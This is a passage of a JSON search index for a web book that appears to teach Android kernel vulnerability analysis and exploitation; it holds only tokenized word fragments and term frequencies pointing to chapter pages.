}}}}}}}}}},"a":{"docs":{},"d":{"docs":{},"d":{"docs":{},"r":{"docs":{},"_":{"docs":{},"m":{"docs":{},"a":{"docs":{},"x":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"(":{"docs":{},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},")":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}},"l":{"docs":{},"a":{"docs":{},"n":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"s":{"docs":{},"p":{"docs":{},"a":{"docs":{},"c":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"l":{"docs":{},"e":{"docs":{},"s":{"docs":{},"s":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"u":{"docs":{},"a":{"docs":{},"l":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"i":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0017043033659991478}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"=":{"0":{"docs":{},"(":{"docs":{},"r":{"docs":{},"o":{"docs":{},"o":{"docs":{},"t":{"docs":{},")":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}},"2":{"0":{"0":{"0":{"docs":{},"(":{"docs":{},"s":{"docs":{},"h":{"docs":{},"e":{"docs":{},"l":{"docs":{},"l":{"docs":{},")":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},":":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"n":{"docs":{},"t":{"6":{"4":{"docs":{},"_":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}},"docs":{}},"docs":{}}}},"n":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"d":{"docs":{},"e":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"n":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}},"a":{"docs":{},"b":{"docs":{},"l":{"docs":{},"e":{"docs":{},".":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}}},"o":{"docs":{},"o":{"docs":{},"d":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"l":{"docs":{},"i":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}}}}},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"d":{"docs":{},"i":{"docs":{},"r":{"docs":{},"e":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}},"r":{"docs":{},"u":{"docs":{},"n":{"docs":{},"n":{"docs":{},"a":{"docs":{},"b":{"docs":{},"l":{"docs":{},"e":{"docs":{},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},"s":{"docs":{},"e":{"docs":{},"r":{"docs":{},"i":{"docs":{},"a":{"docs":{},"l":{"docs":{},"i":{"docs":{},"z":{"docs":{},"e":{"docs":{},"d":{"docs":{},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}},"i":{"docs":{},"g":{"docs":{},"n":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.031529612270984234},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.002282453637660485},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0033604032483898066}}}}}},"a":{"docs":{},"m":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"b":{"docs":{},"l":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}}}},"l":{"docs":{},"i":{"docs":{},"n":{"docs":{},"k":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0019971469329529245},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.007280873704844581}},"e":{"docs":{},"v":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"p":{"docs":{},"o":{"docs":{},"l":{"docs":{},"l":{"docs":{},"w":{"docs":{},"a":{"docs":{},"i":{"docs":{},"t":{"docs":{},"q":{"docs":{},"u":{"docs":{},"e":{"docs":{},"u":{"docs":{},"e":{"docs":{},"f":{"docs":{},"r":{"docs":{},"o":{"docs":{},"m":{"docs":{},"b":{"docs":{},"i":{"docs":{},"n":{"docs":{},"d":{"docs":{},"e":{"docs":{},"r":{"docs":{},"t":{"docs":{},"h":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},"w":{"docs":{},"a":{"docs":{},"i":{"docs":{},"t":{"docs":{},"q":{"docs":{},"u":{"docs":{},"e":{"docs":{},"u":{"docs":{},"e":{"docs":{},"(":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"k":{"docs":{},"e":{"docs":{},"l":{"docs":{},"y":{"docs":{},"(":{"docs":{},"!":{"docs":{},"a":{"docs":{},"c":{"docs":{},"c":{"docs":{},"e":{"docs":{},"s":{"docs":{},"s":{"docs":{},"_":{"docs":{},"o":{"docs":{},"k":{"docs":{},"(":{"docs":{},"v":{"docs":{},"r":{"docs":{},"f":{"docs":{},"y":{"docs":{},"_":{"docs":{},"d":{"docs":{},"i":{"docs":{},"r":{"docs":{},"(":{"docs":{},"t":{"docs":{},"y":{"docs":{},"p":{"docs":{},"e":{"docs":{},")":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"e":{"docs":{},"d":{"docs":{},"_":{"docs":{},"i":{"docs":{},"o":{"docs":{},"c":{"docs":{},"t":{"docs":{},"l":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}},"w":{"docs":{},"a":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"p":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0033604032483898066}},"d":{"docs":{},"a":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}},"e":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"s":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"_":{"docs":{},"k":{"docs":{},"a":{"docs":{},"s":{"docs":{},"a":{"docs":{},"n":{"docs":{},"_":{"docs":{},"c":{"docs":{},"o":{"docs":{},"n":{"docs":{},"f":{"docs":{},"i":{"docs":{},"g":{"docs":{},"\"":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"(":{"docs":{},")":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}}}}}}}}},"d":{"docs":{},"e":{"docs":{},"b":{"docs":{},"u":{"docs":{},"g":{"docs":{},"_":{"docs":{},"c":{"docs":{},"o":{"docs":{},"n":{"docs":{},"f":{"docs":{},"i":{"docs":{},"g":{"docs":{},"\"":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"(":{"docs":{},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}}}}},"r":{"docs":{},"o":{"docs":{},"b":{"docs":{},"e":{"docs":{},"_":{"docs":{},"t":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"m":{"docs":{},".":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}}}}}},"g":{"docs":{},"r":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"t":{"docs":{},"i":{"docs":{},"m":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"e":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"s":{"docs":{},"c":{"docs":{},"a":{"docs":{},"l":{"docs":{},"e":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}},"f":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}},"v":{"docs":{},"e":{"docs":{},"c":{"docs":{},"t":{"docs":{},"o":{"docs":{},"r":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}}}}}}}}},"a":{"docs":{},"f":{"docs":{},"/":{"docs":{"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}}}},"x":{"6":{"4":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"docs":{}},"8":{"6":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"/":{"docs":{},"c":{"docs":{},"l":{"docs":{},"a":{"docs":{},"n":{"docs":{},"g":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"x":{"8":{"6":{"docs":{},"/":{"docs":{},"x":{"8":{"6":{"docs":{},"_":{"6":{"4":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}}}},"docs":{}},"docs":{}}},"_":{"6":{"4":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0016802016241949033}}},"docs":{}},"docs":{}}},"docs":{}},"docs":{},"h":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"_":{"docs":{},"i":{"docs":{},"d":{"docs":{},"x":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"_":{"docs":{},"h":{"docs":{},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{},"[":{"docs":{},"x":{"docs":{},"h":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"_":{"docs":{},"c":{"docs":{},"t":{"docs":{},"x":{"docs":{},"_":{"docs":{},"n":{"docs":{},"r":{"docs":{},"]":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"m":{"docs":{},"l":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}},"|":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002318840579710145},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"|":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"=":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"~":{"docs":{},"/":{"docs":{},"a":{"docs":{},"n":{"docs":{},"d":{"docs":{},"r":{"docs":{},"o":{"docs":{},"i":{"docs":{},"d":{"docs":{},"/":{"docs":{},"s":{"docs":{},"d":{"docs":{},"k":{"docs":{},"/":{"docs":{},"e":{"docs":{},"m":{"docs":{},"u":{"docs":{},"l":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}}},"p":{"docs":{},"l":{"docs":{},"a":{"docs":{},"t":{"docs":{},"f":{"docs":{},"o":{"docs":{},"r":{"docs":{},"m":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}}}}}}}}}}}}}}}}}}},"w":{"docs":{},"o":{"docs":{},"r":{"docs":{},"k":{"docs":{},"s":{"docs":{},"h":{"docs":{},"o":{"docs":{},"p":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247}},"/":{"docs":{},"a":{"docs":{},"n":{"docs":{},"d":{"docs":{},"r":{"docs":{},"o":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}}}},"p":{"docs":{},"a":{"docs":{},"t":{"docs":{},"c":{"docs":{},"h":{"docs":{},"/":{"docs":{},"c":{"docs":{},"v":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}}},"g":{"docs":{},"d":{"docs":{},"b":{"docs":{},".":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}},"/":{"docs":{},"r":{"docs":{},"o":{"docs":{},"o":{"docs":{},"t":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}}}},"d":{"docs":{},"y":{"docs":{},"n":{"docs":{},"a":{"docs":{},"m":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}}}}}}}}}}}}}}},".":{"docs":{},"a":{"docs":{},"n":{"docs":{},"d":{"docs":{},"r":{"docs":{},"o":{"docs":{},"i":{"docs":{},"d":{"docs":{},"/":{"docs":{},"a":{"docs":{},"v":{"docs":{},"d":{"docs":{},"/":{"docs":{},"c":{"docs":{},"v":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}}},"#":{"1":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0017391304347826088},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.011201344161299356}},"d":{"docs":{},"e":{"docs":{},"f":{"docs":{},"i":{"docs":{},"n":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0034086067319982955},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}},"e":{"docs":{},"n":{"docs":{},"d":{"docs":{},"i":{"docs":{},"f":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.027268853855986364},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"i":{"docs":{},"f":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"d":{"docs":{},"e":{"docs":{},"f":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.02684277801448658},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"n":{"docs":{},"d":{"docs":{},"e":{"docs":{},"f":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}}}}}},"n":{"docs":{},"c":{"docs":{},"l":{"docs":{},"u":{"docs":{},"d":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002318840579710145}}}}}}}},"#":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0014001680201624195}},"#":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.00644077289274713}}}}},"%":{"docs":{},"p":{"docs":{},"\"":{"docs":{},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"\\":{"docs":{},"n":{"docs":{},"\"":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}}}}}}}},"&":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},"i":{"docs":{},"n":{"docs":{},"i":{"docs":{},"t":{"docs":{},"_":{"docs":{},"g":{"docs":{},"r":{"docs":{},"o":{"docs":{},"u":{"docs":{},"p":{"docs":{},"s":{"docs":{},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"u":{"docs":{},"s":{"docs":{},"e":{"docs":{},"r":{"docs":{},"_":{"docs":{},"n":{"docs":{},"s":{"docs":{},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}},"o":{"docs":{},"v":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"t":{"docs":{},"e":{"docs":{},"r":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"&":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0017391304347826088},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0019971469329529245},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}},"e":{"docs":{},"v":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}}}}}},"p":{"docs":{},"d":{"docs":{},"s":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"i":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}},"q":{"docs":{},".":{"docs":{},"p":{"docs":{},"t":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}},"p":{"docs":{},"w":{"docs":{},"q":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"o":{"docs":{},"s":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"t":{"docs":{},"h":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0016802016241949033}}}}}}}}}}}}},"j":{"docs":{},"u":{"docs":{},"n":{"docs":{},"k":{"docs":{},"s":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"e":{"docs":{},"t":{"docs":{},"d":{"docs":{},"a":{"docs":{},"t":{"docs":{},"a":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}},"m":{"docs":{},"e":{"docs":{},"s":{"docs":{},"s":{"docs":{},"a":{"docs":{},"g":{"docs":{},"e":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}},"'":{"docs":{},"c":{"docs":{},"u":{"docs":{},"r":{"docs":{},"r":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"'":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"i":{"docs":{},"n":{"docs":{},"i":{"docs":{},"t":{"docs":{},"_":{"docs":{},"l":{"docs":{},"o":{"docs":{},"a":{"docs":{},"d":{"docs":{},"_":{"docs":{},"p":{"docs":{},"c":{"docs":{},"t":{"docs":{},"'":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}},"p":{"docs":{},"t":{"docs":{},"r":{"docs":{},"a":{"docs":{},"c":{"docs":{},"e":{"docs":{},"_":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"r":{"docs":{},"y":{"docs":{},"'":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"d":{"docs":{},"'":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"t":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{},"'":{"docs":{},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}},"r":{"docs":{},"g":{"docs":{},"e":{"docs":{},"t":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"h":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{},"'":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}},")":{"docs":{},"a":{"docs":{},"l":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"a":{"docs":{},"t":{"docs":{},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}},"*":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.020877716233489562},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.01282051282051282},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002318840579710145},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0048502139800285305},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}},"/":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.05112910097997444},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref